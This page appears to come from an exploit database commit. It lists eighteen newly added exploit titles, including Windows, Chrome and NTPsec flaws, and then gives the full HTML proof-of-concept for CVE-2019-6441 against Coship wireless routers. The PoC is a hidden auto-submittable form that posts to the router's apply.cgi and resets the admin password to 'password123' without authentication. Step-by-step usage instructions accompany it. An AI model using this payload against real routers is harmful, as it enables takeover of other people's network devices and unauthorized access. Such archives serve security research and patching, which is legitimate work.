fa261f0558
18 changes to exploits/shellcodes Spotify 1.0.96.181 - 'Proxy configuration' Denial of Service (PoC) NTPsec 1.1.2 - 'ctl_getitem' Out-of-Bounds Read (PoC) NTPsec 1.1.2 - 'ntp_control' Out-of-Bounds Read (PoC) NTPsec 1.1.2 - 'ntp_control' Authenticated NULL Pointer Dereference (PoC) NTPsec 1.1.2 - 'config' Authenticated Out-of-Bounds Write Denial of Service (PoC) Google Chrome V8 JavaScript Engine 71.0.3578.98 - Out-of-Memory in Invalid Array Length WebKit JSC JIT - GetIndexedPropertyStorage Use-After-Free Microsoft Windows 10 - 'RestrictedErrorInfo' Unmarshal Section Handle Use-After-Free Microsoft Windows 10 - XmlDocument Insecure Sharing Privilege Escalation blueman - set_dhcp_handler D-Bus Privilege Escalation (Metasploit) FortiGate FortiOS < 6.0.3 - LDAP Credential Disclosure Roxy Fileman 1.4.5 - Arbitrary File Download doorGets CMS 7.0 - Arbitrary File Download ShoreTel / Mitel Connect ONSITE 19.49.5200.0 - Remote Code Execution GL-AR300M-Lite 2.27 - Authenticated Command Injection / Arbitrary File Download / Directory Traversal Coship Wireless Router 4.0.0.48 / 4.0.0.40 / 5.0.0.54 / 5.0.0.55 / 10.0.0.49 - Unauthenticated Admin Password Reset Blueimp's jQuery File Upload 9.22.0 - Arbitrary File Upload Exploit
32 lines
No EOL
1.3 KiB
HTML
32 lines
No EOL
1.3 KiB
HTML
<!--
|
||
# Exploit Title: Coship Wireless Router – Unauthenticated Admin Password Reset
|
||
# Date: 15.01.2019
|
||
# Exploit Author: Adithyan AK
|
||
# Vendor Homepage: http://en.coship.com/
|
||
# Category: Hardware (Wifi Router)
|
||
# Affected Versions : Coship RT3052 - 4.0.0.48, Coship RT3050 - 4.0.0.40, Coship WM3300 - 5.0.0.54, Coship WM3300 - 5.0.0.55, Coship RT7620 - 10.0.0.49.
|
||
# Tested on: MacOS Mojave v.10.14
|
||
# CVE: CVE-2019-6441
|
||
|
||
# Change the X.X.X.X in poc to Router Gateway address and save the below code as Exploit.html
|
||
# Open Exploit.html with your Browser
|
||
# Click on “Submit request”
|
||
# Password of the admin will now be changed as "password123"
|
||
|
||
# PoC :
|
||
-->
|
||
|
||
<html>
|
||
<!-- Change the X.X.X.X with the router's IP address -->
|
||
<body>
|
||
<script>history.pushState('', '', '/')</script>
|
||
<form action="http://X.X.X.X/apply.cgi" method="POST">
|
||
<input type="hidden" name="page" value="regx/management/accounts.asp" />
|
||
<input type="hidden" name="http_username" value="admin" />
|
||
<input type="hidden" name="http_passwd" value="password123" />
|
||
<input type="hidden" name="usr_confirm_password" value="password123" />
|
||
<input type="hidden" name="action" value="Submit" />
|
||
<input type="submit" value="Submit request" />
|
||
</form>
|
||
</body>
|
||
</html> |